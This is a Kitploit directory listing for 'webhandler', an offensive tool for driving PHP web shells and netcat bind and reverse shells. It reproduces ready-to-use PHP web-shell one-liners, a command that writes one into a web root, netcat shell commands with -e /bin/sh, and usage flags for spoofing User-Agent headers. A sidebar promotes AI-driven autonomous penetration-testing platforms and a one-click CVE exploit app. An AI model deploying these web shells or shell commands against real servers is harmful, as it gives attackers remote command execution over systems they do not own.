Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
webhandler — Bash simulator to control a server using PHP system functions. | Kitploit
Tools/GitHubGitHub/lnxg33k/webhandler
Payload GenerationIDS/IPS EvasionWeb Application ExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHublnxg33k/webhandler

webhandler

Bash simulator to control a server using PHP system functions.

View Repository
10024345 years agoReviewed by Kitploit
Share

WebHandler


A handler for PHP system functions & also an alternative 'netcat' handler My image

Info


WebHandler tries to simulate a 'Linux bash prompt' to handle and process:

- PHP program execution functions _(e.g. `system`, `passthru`, `exec`, etc)_
- Bind shell connections
- Reserve shell connections

Another feature is to spoof the "User-Agent" field in the HTTP header. (--random-angent).

It also supports HTTP proxies (--proxy http://<ip>:<port>)

  • WebHandler works for POST and GET requests:

    • <?php system($_GET['cmd']); ?>
    • <?php passthru($_REQUEST['cmd']); ?>
    • <?php echo exec($_POST['cmd']); ?>
  • WebHandler is a replacement for netcat connections.

    A example bind connection (e.g. nc -lvvp 1234 -e /bin/sh)

    Normally the user would do:

    • netcat -l -p 1234
    • nc -lvvp 1234

    A example reverse connection (e.g. nc 127.0.0.1 4321 -e /bin/sh)

    Normally the user would do:

    • netcat -l -p 4321
    • nc -lvvp 4321

Usage


  • --Example file:

    • echo '<?php system($_GET['cmd']); ?>' > /var/www/shell.php
  • --url is a required argument when sending either GET or POST requests (e.g. a bind 'web based PHP' connection):

    • python webhandler.py --url http://www.mywebsite.com/shell.php?cmd=
    • python webhandler.py --url http://www.mywebsite.com/shell.php --method POST --parameter cmd
    • python webhandler.py -u http://www.mywebsite.com/shell.php?cmd= --random-agent --turbo
    • python webhandler.py -u http://www.mywebsite.com/shell.php?cmd= --proxy http://127.0.0.1:8080
  • --listen is a required argument when working waiting connection (e.g. a reverse 'raw' connection):

    • python webhandler.py --listen 1234

Dependencies


If your Python's version < 2.7.x, then argparse is required To install it run: sudo (apt-get|yum) install python-setuptools && sudo easy_install argparse OR sudo pip --install argparse.

readline is optional. This module it used to provide elaborate line editing and history features

git is optional. This allows for the project to be kept up-to-date

Links


Wiki

Known Bugs

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    668
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    496
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    394
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    339
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    254

Explore all tools

Browse our collection of tools

View all tools →